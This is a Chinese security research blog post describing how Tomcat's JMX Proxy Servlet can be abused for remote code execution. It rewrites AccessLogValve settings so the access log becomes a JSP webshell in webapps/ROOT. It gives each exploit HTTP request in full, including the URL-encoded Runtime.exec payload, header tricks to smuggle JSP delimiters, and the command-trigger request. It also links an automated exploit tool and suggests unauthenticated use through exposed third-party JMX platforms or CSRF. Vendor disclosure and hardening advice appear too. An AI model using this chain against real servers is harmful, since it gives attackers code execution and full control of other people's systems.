一种Tomcat的利用方式

该文章首发于先知社区:https://xz.aliyun.com/t/11450

0x00 前言

在介绍该利用方式之前有必要先进行一些说明

(1)不影响默认配置的Tomcat

(2)不影响通过jar部署的SpringBoot

(3)可以作为利用链中的一环,配合第三方平台未授权访问或弱口令可以直接利用

我发现该利用方式的第一时间向Tomcat报告并使用上千字来描述利用方式和危害性

然而Tomcat官方认为这不是安全漏洞,如果能够被利用,完全应该由用户来负责

大致来看,利用手段如下图:

0x01 Manager

Tomcat一直存在一个不是“漏洞”的漏洞:Tomcat Manager导致上传war解压生成webshellRCE

tomcat/conf/tomcat-users.xml配置

<user username="admin" password="<must-be-changed>" roles="manager-gui"/>

访问/manager/html输入用户名和密码,即可在里面上传war进行部署

显然这不归Tomcat负责,应该由用户保证自己的账号和密码安全

Tomcat对于Manager的管理页面采用了HTTP Basic认证,也就是用户名密码拼接后Base64编码

如果想要暴力破解这个身份认证其实是不太可能的,因为Tomcat已经考虑到这个问题:参考LockOutRealm类的代码,默认在输入错误5次后会锁定5分钟。这也是Tomcat官方拒绝该漏洞的原因之一,他们认为基于JMXProxy实现的RCE攻击和这个类似,由用户负责安全

public class LockOutRealm extends CombinedRealm {
    /**
     * The number of times in a row a user has to fail authentication to be
     * locked out. Defaults to 5.
     */
    protected int failureCount = 5;

    /**
     * The time (in seconds) a user is locked out for after too many
     * authentication failures. Defaults to 300 (5 minutes).
     */
    protected int lockOutTime = 300;
}

其实值得关心的是:Tomcat并不仅仅支持管理页面,同时支持APIJMXProxy

如果API可以未授权访问也会导致严重的安全问题(和P牛聊天提到这一点,在某次CTF中出现)

使用API的方式是:http://{host}:{port}/manager/text/{command}?{parameters}

使用API部署WAR包:

http://localhost:8080/manager/text/deploy?path=/footoo&war=file:/path/to/foo

如何使用JMXProxy做到RCE是本文的重点内容

一般安全研究人员并不会意识到JMXProxy有什么安全问题,因为官方描述中该功能仅用于监控

0x02 JMX

JMXTomcat无关,在Java官方文档对于JMX的定义如下:

JMX(Java Management Extensions)是一个为应用程序植入管理功能的框架。JMX是一套标准的代理和服务,实际上,用户可以在任何Java应用程序中使用这些代理和服务实现管理

用人话来说JMX让程序有被管理的功能,例如某Web网站是在24小时不间断运行,那么对网站进行监控是必要的功能;又或者在业务高峰的期间,想对接口进行限流,就必须去修改接口并发的配置值

一般JMX会通过Adapter实现Web管理页面,例如ZabbixNagios等工具对于JVM的监控实现,老一些的平台比如JDMKMX4J

    ┌─────────┐  ┌─────────┐
    │jconsole │  │   Web   │
    └─────────┘  └─────────┘
         │            │
┌ ─ ─ ─ ─│─ ─ ─ ─ ─ ─ ┼ ─ ─ ─ ─
 JVM     ▼            ▼        │
│   ┌─────────┐  ┌─────────┐
  ┌─┤Connector├──┤ Adaptor ├─┐ │
│ │ └─────────┘  └─────────┘ │
  │       MBeanServer        │ │
│ │ ┌──────┐┌──────┐┌──────┐ │
  └─┤MBean1├┤MBean2├┤MBean3├─┘ │
│   └──────┘└──────┘└──────┘
 ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ┘

结合实例来讲,我搭建了一个MX4J的监控平台

进入其中的ClassLoading属性观察:监控到类的属性,并且部分值可以在运行时进行修改

在网上进行搜索可以发现大量类似的JMX管理页面,我们可以实时地修改JVM内部的一些属性

但这种修改大多数情况下是无意义的,顶多由于某些属性为空通过空指针导致拒绝服务这样的鸡肋洞

因此研究如何通过JMX修改变量以实现RCE是比较有意义的研究

0x03 JMXProxy

接下来是本文的重点,在Tomcat Manager中还有一种特殊的管理:JMX Proxy Servlet

参考 Tomcat 9.0 官方文档 中的描述,翻译后为:

JMX Proxy Servlet是一个轻量级代理,用于获取和设置Tomcat内部或任何已通过MBean公开的类。它的使用不是非常用户友好,但对于集成命令行脚本以监视和更改Tomcat的内部结构非常有帮助。您可以使用代理做两件事:获取信息和设置信息。要真正了解 JMX Proxy Servlet,您应该对 JMX 有一个大致的了解。如果您不知道 JMX 是什么,那么请准备好被迷惑(不知道怎么解释confused这个词就用迷惑了)

直接阅读这段话可能不能够理解,通过上文对JMX概念的描述,应该问题不大。Tomcat提供了JMXAgent或者说API给用户,而用户一般不是直接手动管理,而是会选择第三方平台进行管理,正是这个原因导致该漏洞有了实际的危害

参考示例,例如我们需要监控运行时的堆内存使用情况

http://webserver/manager/jmxproxy/?get=java.lang:type=Memory&att=HeapMemoryUsage

执行后得到的结果

OK - Attribute get 'java.lang:type=Memory' - HeapMemoryUsage = javax.management.openmbean.CompositeDataSupport
// ......
contents={committed=308281344, init=534773760, max=7602176000, used=106332232})

不仅可以监控JVM属性也可以修改JVM中的一些属性,例如开头JMX篇章中提到的一个场景:

在业务高峰的期间,想对接口进行限流,就必须去修改接口并发的配置值。

JMXProxy中也提供了修改一些变量的方法

http://webserver/manager/jmxproxy/?set=BEANNAME&att=MYATTRIBUTE&val=NEWVALUE

参数:

  • set: 目标的BEANNAME(类似类名)
  • att: 目标的属性(类似类中的字段属性)
  • val: 需要修改的新值

另外支持命令调用,不过这一点我并没有做深入研究(也许一些特殊命令组合存在漏洞?)

http://webserver/manager/jmxproxy/?invoke=BEANNAME&op=方法名&ps=参数

总结:

JMXProxy提供TomcatJMX接口给第三方平台分析和管理

用于监控Tomcat内部并且支持部分变量的修改

0x04 RCE

本节内容是针对TomcatJMXProxy如何实现RCE

换句话来说:哪些JMXProxy支持修改的属性被修改后可以RCE

经过肉眼审计,我发现一个有趣的类(熟悉Spring RCE的师傅应该一眼就能看出来)

AccessLogValve

对应JXMProxy中的描述信息如下,重点关注五个属性:

  • prefix:访问日志前缀
  • pattern:访问日志格式
  • suffix:访问日志后缀
  • directory:访问日志目录
  • fileDateFormat:访问日志名日期格式
Name: Catalina:type=Valve,host=localhost,name=AccessLogValve
modelerType: org.apache.tomcat.util.modeler.BaseModelMBean
rotatable: true
checkExists: false
prefix: localhost_access_log
pattern: %h %l %u %t "%r" %s %b
className: org.apache.catalina.valves.AccessLogValve
locale: zh_CN
suffix: .txt
directory: logs
enabled: true
stateName: STARTED
buffered: true
asyncSupported: true
renameOnRotate: false
fileDateFormat: .yyyy-MM-dd

假设以上五个属性可以被设置,那么接下来的RCE之路就很简单了

于是我测试了每一个属性,发现都可以成功修改

RCE的思路如下:

  • 修改日志格式为一句话:于是每条新日志都会变成一句话
  • 注意不能包含特殊符号,所以使用%{header}i从请求头中提取<%等特殊符号
  • 修改日志后缀为:JSP
  • 修改日志前缀为:shell(只要可控即可无需在意具体是什么)
  • 修改日志目录为可以解析JSP的目录:例如默认的webapps/ROOT
  • 修改日志文件名时间格式目的是使rotate创建新文件,写入JSP
  • 带有特殊请求头的请求即可写入Webshell

第一步:

GET /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=pattern&val=%25%7b%70%7d%69%20%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6d%64%22%29%29%3b%20%25%7b%73%7d%69 HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Authorization: Basic BASE64(username:password)

这里有一个细节:要求其中的val参数为全部的URL编码

%{p}i Runtime.getRuntime().exec(request.getParameter("cmd")); %{s}i

开头和结尾的特殊符号从请求头的ps中获取

第二步:

修改日志后缀为:JSP

GET /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=suffix&val=.jsp HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Authorization: Basic BASE64(username:password)

第三步:

修改日志前缀为:shell(当时间格式为空时文件名就是shell.jsp了)

GET /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=prefix&val=shell HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Authorization: Basic BASE64(username:password)

第四步:

修改日志存储目录到可解析JSP的目录:webapps/ROOT

GET /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=directory&val=webapps/ROOT HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Authorization: Basic BASE64(username:password)

第五步:

修改日志文件名日期格式目的是:触发AccessLogValverotate功能

log日志记录信息的第一行调用rotate方法

public void log(CharArrayWriter message) {
    rotate();
    // ...
}

跟入rotate方法

public void rotate() {
    // ...
    String tsDate;
    // Check for a change of date
    tsDate = fileDateFormatter.format(new Date(systime));

    // If the date has changed, switch log files
    if (!dateStamp.equals(tsDate)) {
        close(true);
        dateStamp = tsDate;
        open();
    }
    // ...
}

跟入open方法如果新的fileDateFormatter不同则FileOutputStream写入新文件

protected synchronized void open() {
    // Open the current log file
    // If no rotate - no need for dateStamp in fileName
    File pathname = getLogFile(rotatable && !renameOnRotate);
    // ...
    writer = new PrintWriter(new BufferedWriter(new OutputStreamWriter(
        new FileOutputStream(pathname, true), charset), 128000),
                             false);
    // ...
}

新日志文件名来自于prefixsufix的拼接

private File getLogFile(boolean useDateStamp) {
    // ...
    File dir = getDirectoryFile();
    // ...
    pathname = new File(dir.getAbsoluteFile(), prefix + suffix);
    // ...
    return pathname;
}

发送请求Payload

GET /manager/jmxproxy/?set=Catalina:type=Valve,host=localhost,name=AccessLogValve&att=fileDateFormat&val= HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Authorization: Basic BASE64(username:password)

第六步:

发送带有ps请求头的请求,成功写入一句话

GET / HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
p: <%
s: %>//

RCE:

GET /shell.jsp?cmd=calc.exe HTTP/1.1
Host: 127.0.0.1:8080
Connection: close

我将以上发包的过程自动化,成功利用

0x05 实战

虽说RCE成功但是:需要有基础认证才可以触发漏洞

目前来看这仅是一种鸡肋的后台RCE手段,有必要研究一下实际的利用

  • 直接的想法是:Manager弱口令,这个没有讨论的必要
  • 是否可以不认证就利用(借助第三方平台)

值得说明的一点是:黑盒情况下不能确定其他平台监控管理是否基于JMXProxy

  • 假设某平台底层基于JMXProxy提供的API那么相当于是一个绕过
  • 假设某平台并不基于JMXProxy但是可以修改AccessLogValve属性同样可以RCE

所以无论第三方平台是否基于JMXProxy实现监控只要可以修改目标数据即可RCE(参考上图)

通过一些手段我找到了不少管理平台,结合上述利用方式即可成功利用

检查了其他端口,开着基于JavaWeb服务,99%概率跑在Tomcat下,后续就不多写了

另外在Apache Tomcat的文档中明确写出:只有manager-gui受到CSRF保护而JMX不受保护

The HTML interface is protected against CSRF (Cross-Site Request Forgery) attacks
but the text and JMX interfaces cannot be protected.

因此容易想到基于CSRFCSRF+XSS的利用方式,由于JMX接口是GET反而更容易利用

对于存在XSS漏洞的情况下,更加容易利用

0x07 修复

我向Tomcat官方建议的修复方案是:

  • 在文档中明确说明:JMXProxy存在RCE的安全风险
  • 限制对AccessLogValve属性的修改或者设置为只读
  • 由于业务需要不能限制功能的话,至少限制suffix不能为.jsp等可被解析执行的后缀

不过Tomcat官方并没有采纳,他们不认为这是漏洞

对于实际的项目来说,修复方案如下:

  • 如果开启了manager-jmx功能务必设置强密码
  • 如果使用了MX4J等第三方平台对JMX进行管理,检查是否可以未授权访问
  • 如果自己编写基于TomcatJMX管理功能,应该对AccessLogValve属性进行限制

0x08 总结

我写了一个自动利用的工具:https://github.com/4ra1n/tomcat-jmxproxy-rce-exp

tomcat/conf/tomcat-users.xml配置

<user username="admin" password="123456" roles="manager-jmx"/>

修改config.ini利用文件,然后一把梭即可复现

# target ip
host=127.0.0.1
# target port
port=8080
# target tomcat jmxproxy username
username=admin
# target tomcat jmxproxy password
password=123456
# execute command
cmd=calc.exe

执行EXP程序:./tomcat-jmxproxy-rce-exp

正如开头所说,虽然Tomcat官方不认可,但我认为该漏洞的危害大于一些Tomcat曾经的RCE CVE

官方否认漏洞的四个原因是:

  • 用户必须开启manager功能,在默认Tomcat中是关闭的
  • 用户必须暴漏manager/jmxproxy到公网
  • 用户必须使用了弱口令
  • 如果是非弱口令的情况下Tomcat已有LockOutRealm可以防御

其实Tomcat官方否认是理由充足的,但他们没有考虑到第三方平台的影响和实际的危害

例如曾经的Tomcat Session RCE条件同样高,甚至需要基于文件上传漏洞,实战价值未必大

个人认为JMXProxy漏洞虽然有限制条件,但在整个漏洞利用链中该限制条件是可以被绕过的

后来我反驳过官方:

Tomcat Session RCE在实战中不可能遇到,或者概率极小,但是你们认可了

通过第三方JMX平台未授权造成的RCE的案例有很多

从实际危害角度来看,显然我报告的漏洞存在更大的危害和风险,为什么不认可

官方回复很简单:无论危害多大,你说的都是用户的错误,不是Tomcat的错误

从另一个角度来看,该利用方式可以被理解为未授权访问或者越权操作

  • 使用manager-gui是最高的权限,可以直接启动停止和部署war包
  • 使用manager-jmx是较低的权限,理论上只能监控和修改部分变量

如果一个manager-jmx用户可以通过一些手段(例如RCE)达到manager-gui能做的事情,这是否可以认为是一种漏洞?

如果我最初提交给Tomcat的报告这样来写,会不会得到认可?